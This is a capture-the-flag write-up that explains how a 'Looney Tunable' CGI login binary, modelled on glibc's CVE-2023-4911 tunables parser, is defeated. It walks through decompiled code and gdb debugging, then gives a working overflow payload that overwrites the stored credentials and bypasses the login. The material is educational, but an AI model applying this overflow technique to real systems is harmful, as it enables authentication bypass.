Skip to content

Looney Tunable

We are provided with a login.cgi file and a web service, presumably running the login.cgi file.

Analysis

Decompiling the cgi_process function reveals that login.cgi implements a login service:

c
generate_random_string(username_buf, 0x10u);
generate_random_string(password_buf, 0x10u);
method = getenv("REQUEST_METHOD");
if ( method && !strcmp(method, "POST") )
{
    data = getenv("CONTENT_LENGTH");
    if ( data )
    len_1 = atoi(data);
    else
    len_1 = 0;
    len = len_1;
    if ( len_1 > 0 && len <= 255 )
    {
        fread(tunestr, 1u, len, stdin);
        urldecode(tunestr, tunestr);
        strncpy(valstring, tunestr, 0x100u);
        parse_tunable5(tunestr, valstring);
        username = (char *)custom_tunable_list[0].type.value;
        password = (char *)custom_tunable_list[1].type.value;
        if ( username_buf[0] && password_buf[0] )
        {
            found = 0;
            if ( !strncmp(username, username_buf, 0x10u) && !strncmp(password, password_buf, 0x10u) )
                found = 1;
            if ( found )
                login_success_1 = (void (*)(const char *, const char *))login_success;
            else
                login_success_1 = (void (*)(const char *, const char *))login_failure;
            action = login_success_1;
            login_success_1(username_buf, tmp);
            free(custom_tunable_list[0].type.ptr);
            free(custom_tunable_list[1].type.ptr);
            free(custom_tunable_list[2].type.ptr);
            return 0;
        }
        else
        {
            printf("<h3>Error: Missing username or password in parsing</h3>");
            return 1;
        }
    }
}
else
{
    printf("<h3>Error: No data received</h3>");
    return 1;
}

Unfortunately for us, the username_buf and password_buf, which contains the expected username and password, have been filled with random text using the generate_random_string function.

However, our input (the POST request body) is parsed using the suspiciously complicated parse_tunable5 function.

CVE-2023-4911

A quick Google search for looney tunables turns up the technical report for CVE-2023-4911, a buffer overflow vulnerability in glibc that enabled privilege escalation.

Malformed GLIBC_TUNABLES strings resulted in unexpected behavior in the parse_tunables function, which caused the buffer overflow. The parse_tunable5 function in login.cgi is clearly inspired from parse_tunables.

The only notable difference is the replacement of the : separator with &, presumably to fit in with the web aspect of this challenge. We will need to keep this in mind during the exploitation process.

The PoC provided in the report is tunable1=tunable2=AAA, which causes an overflow in the tunestr variable. This is handy for us, as tunestr overflows into the password_buf and username_buf global variables:

alt text

Debugging

To debug this login.cgi file, I used gdb equipped with the gef and decomp2dbg plugins hooked up to IDA.

While it is possible to run the login.cgi file using a web server (for example by using python3 -m http.server --bind localhost --cgi 8000), this significantly complicates the debugging process.

Instead, we will run the login.cgi normally, then pipe our exploit to its standard input.

We will also need to set two environment variables (in typical deployment, these variables will be set by the web server from the request headers):

bash
export REQUEST_METHOD=POST
export CONTENT_LENGTH=250

After writing the PoC provided to exploit.txt, we can finally run the login.cgi binary in gdb and test the exploit:

entry-break < exploit.txt
break *0x402599
decompiler connect ida
continue

Unfortunately, it seems that our attempt was unsuccessful as the tunestr variable was not significantly modified: alt text

This is because the tunable needs to be in the tunable list: alt text

Let's update our exploit to use the target tunable:

target=target=AAA

This time, we find that the tunestr was indeed modified as expected: alt text

Exploitation

By specifiying a long string of As for target, and 16 As for username and password, we can successfully overwrite the expected password and username arrays:

username=AAAAAAAAAAAAAAAA&password=AAAAAAAAAAAAAAAA&target=target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

alt text

Resuming execution of the program, the login success message is printed: alt text

All that's left is to send this payload to the challenge server as a POST request body:

TODO: insert picture